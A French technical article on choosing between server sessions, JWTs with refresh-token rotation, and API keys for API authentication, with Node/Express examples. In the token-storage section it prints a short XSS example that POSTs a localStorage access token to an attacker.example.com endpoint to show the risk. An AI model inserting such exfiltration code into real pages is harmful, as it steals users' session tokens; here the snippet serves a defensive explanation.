La question revient à chaque nouveau projet d'API : faut-il des sessions, des JWT, ou des clés d'API ? La réponse générique "JWT parce que c'est stateless et scalable" est répétée partout, mais elle ignore le vrai problème : chaque mécanisme déplace la complexité ailleurs, en particulier sur la révocation. Avant de choisir, il faut comprendre ce que chaque approche garantit réellement et ce qu'elle vous empêche de faire facilement.

Le problème concret

Imaginons une API consommée par trois types de clients : une application web (SPA React), une application mobile Flutter, et des intégrations tierces (webhooks, scripts serveur-à-serveur). Chacun a des contraintes différentes : la SPA tourne dans un navigateur exposé au XSS, le mobile peut stocker des secrets plus durablement, et les intégrations tierces n'ont pas d'utilisateur humain derrière elles. Appliquer le même mécanisme d'authentification partout est souvent l'erreur de départ.

Sessions serveur : simple et révocable, mais stateful

Une session classique repose sur un identifiant opaque stocké côté client (cookie) et un état correspondant stocké côté serveur (en mémoire, Redis, ou base de données).

// Express + express-session + connect-redis
import session from "express-session";
import RedisStore from "connect-redis";
import { createClient } from "redis";

const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();

app.use(
  session({
    store: new RedisStore({ client: redisClient }),
    secret: process.env.SESSION_SECRET,
    cookie: {
      httpOnly: true,
      secure: true,
      sameSite: "lax",
      maxAge: 1000 * 60 * 60 * 2, // 2h
    },
  })
);

L'avantage décisif : révoquer une session, c'est supprimer une ligne dans Redis. Un utilisateur qui change son mot de passe, un compte compromis, une déconnexion forcée depuis le back-office admin : tout ça devient trivial. Le coût, c'est l'état côté serveur. Chaque requête doit interroger le store de sessions, ce qui ajoute une dépendance réseau et complique le scaling horizontal sans configuration partagée (sticky sessions ou store centralisé).

Les cookies httpOnly + SameSite protègent bien contre le XSS (le JS ne peut pas lire le cookie) et contre le CSRF basique, mais ce mécanisme suppose que le client et l'API partagent un domaine ou un sous-domaine compatible, ce qui devient contraignant dès qu'on a un client mobile natif ou des clients sur des domaines totalement différents.

JWT : stateless, mais la révocation devient le vrai sujet

Un JWT encode les informations de l'utilisateur (claims) directement dans le token, signé cryptographiquement. Le serveur n'a rien à stocker : il vérifie juste la signature.

import jwt from "jsonwebtoken";

function issueAccessToken(user) {
  return jwt.sign(
    { sub: user.id, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: "15m", algorithm: "HS256" }
  );
}

function verifyAccessToken(token) {
  // Lève une exception si expiré ou signature invalide
  return jwt.verify(token, process.env.JWT_SECRET);
}

Le piège classique : un développeur junior donne au JWT une durée de vie de 7 jours "pour éviter que l'utilisateur se reconnecte trop souvent". Le problème, c'est qu'un JWT valide reste valide jusqu'à son expiration, même si le compte est désactivé entre-temps, parce que le serveur ne consulte aucune base au moment de la vérification - c'est précisément ce qui le rend stateless et rapide. La solution standard est la paire access token / refresh token :

  • Access token : très courte durée de vie (5 à 15 minutes), transmis dans l'en-tête Authorization, jamais stocké en cookie persistant.
  • Refresh token : durée de vie plus longue, stocké côté serveur (ou dans un cookie httpOnly) avec une table de révocation. Un refresh token révoqué empêche l'obtention de nouveaux access tokens, donc la compromission se limite à la fenêtre de l'access token en cours.
// Table refresh_tokens(id, user_id, token_hash, revoked_at, expires_at)
async function rotateRefreshToken(oldTokenId) {
  const stored = await db.refreshTokens.findById(oldTokenId);
  if (!stored || stored.revokedAt || stored.expiresAt < new Date()) {
    throw new UnauthorizedError("refresh token invalide");
  }
  await db.refreshTokens.revoke(oldTokenId); // rotation : usage unique
  const newToken = generateSecureToken();
  await db.refreshTokens.create({ userId: stored.userId, tokenHash: hash(newToken) });
  return newToken;
}

Cette rotation à usage unique permet de détecter le vol de refresh token : si un token déjà révoqué est présenté, c'est le signe qu'il a été rejoué par un attaquant, et on peut invalider toute la chaîne de tokens de cet utilisateur.

Clés d'API : pour les machines, pas pour les humains

Une clé d'API est un secret statique, généralement long et opaque, associé à un compte ou une application, sans notion de session ni d'expiration courte.

// Vérification d'une clé d'API en en-tête `X-API-Key`
app.use(async (req, res, next) => {
  const apiKey = req.header("X-API-Key");
  if (!apiKey) return res.status(401).json({ error: "missing_api_key" });

  const keyRecord = await db.apiKeys.findByHash(hashApiKey(apiKey));
  if (!keyRecord || keyRecord.revokedAt) {
    return res.status(401).json({ error: "invalid_api_key" });
  }
  req.client = { id: keyRecord.clientId, scopes: keyRecord.scopes };
  next();
});

Les clés d'API n'ont pas vocation à représenter un utilisateur avec une session interactive : elles identifient une application ou un service. Elles doivent systématiquement être scopées (quelles ressources, quelles actions) et stockées hashées côté serveur, jamais en clair, de la même manière qu'un mot de passe. L'erreur fréquente est de les utiliser pour authentifier des utilisateurs finaux dans une SPA : la clé finit alors exposée dans le bundle JS ou dans le code source d'une application mobile décompilée.

Une fois le choix du JWT fait, une deuxième décision, souvent traitée à la légère, détermine la surface d'attaque réelle : où stocker l'access token dans le navigateur. Deux options s'affrontent, avec des compromis opposés.

Stocker le token dans localStorage est simple à implémenter et évite tout problème de CSRF (le token est attaché manuellement à chaque requête, pas envoyé automatiquement par le navigateur). Mais localStorage est lisible par n'importe quel script JavaScript qui s'exécute sur la page, y compris un script injecté via une faille XSS ou une dépendance npm compromise. Un seul point d'injection XSS suffit à exfiltrer tous les tokens actifs.

// Pattern courant mais risqué si le site a la moindre faille XSS
localStorage.setItem("access_token", token);

// Un script malveillant injecté via XSS peut faire exactement la même lecture
fetch("https://attacker.example.com/collect", {
  method: "POST",
  body: localStorage.getItem("access_token"),
});

À l'inverse, stocker le refresh token dans un cookie httpOnly + Secure + SameSite=strict le rend invisible au JavaScript (donc immunisé contre l'exfiltration XSS directe), mais réintroduit une surface CSRF qu'il faut couvrir par un jeton anti-CSRF séparé ou par la vérification de l'en-tête Origin/Referer sur les routes sensibles.

res.cookie("refresh_token", token, {
  httpOnly: true,
  secure: true,
  sameSite: "strict",
  path: "/api/auth/refresh",
});

Le compromis le plus robuste pour une SPA moderne consiste à garder l'access token en mémoire JavaScript uniquement (jamais persisté, perdu au rechargement de page, ce qui force un appel au refresh token au démarrage de l'application), et à garder le refresh token exclusivement dans un cookie httpOnly. Ça limite la fenêtre d'exploitation XSS à la durée de vie très courte de l'access token, sans sacrifier la protection contre le vol de refresh token.

Diagnostiquer le mauvais choix

Les symptômes d'un mauvais mécanisme sont assez reconnaissables :

  • Impossible de déconnecter un utilisateur compromis sans attendre l'expiration naturelle du token : signe que des JWT longue durée sont utilisés sans refresh token ni liste de révocation.
  • Scaling horizontal difficile, sessions "perdues" lors du déploiement d'une nouvelle instance : signe de sessions en mémoire locale sans store partagé.
  • Une clé d'API retrouvée dans les DevTools du navigateur ou dans l'APK décompilé d'une app mobile : signe qu'un mécanisme pensé pour serveur-à-serveur a été détourné pour un client public.

Quand la solution "simple" ne suffit pas

Pour une API multi-tenant avec des exigences de conformité (RGPD, SOC2), la simple paire access/refresh ne suffit souvent pas : il faut aussi tracer chaque émission de token (device, IP, user agent) pour permettre à l'utilisateur de voir et révoquer ses sessions actives individuellement - un pattern proche de ce que proposent GitHub ou Google dans leurs paramètres de sécurité. Cela demande une table d'audit des tokens, pas seulement un booléen de révocation.

Pour des intégrations B2B à fort enjeu, les clés d'API statiques peuvent être remplacées par OAuth2 client credentials flow, qui ajoute une expiration automatique des tokens d'accès machine-à-machine sans secret statique transmis à chaque appel.

À retenir

Le choix n'est pas binaire : une même API peut légitimement combiner sessions pour le front web, JWT access/refresh pour le mobile, et clés d'API scopées pour les intégrations tierces. Le critère de décision n'est pas "stateless versus stateful" mais "à quelle vitesse dois-je pouvoir révoquer un accès, et pour quel type de client". Concevoir la révocation avant d'écrire le code d'émission du token évite de la découvrir en urgence lors d'un incident de sécurité.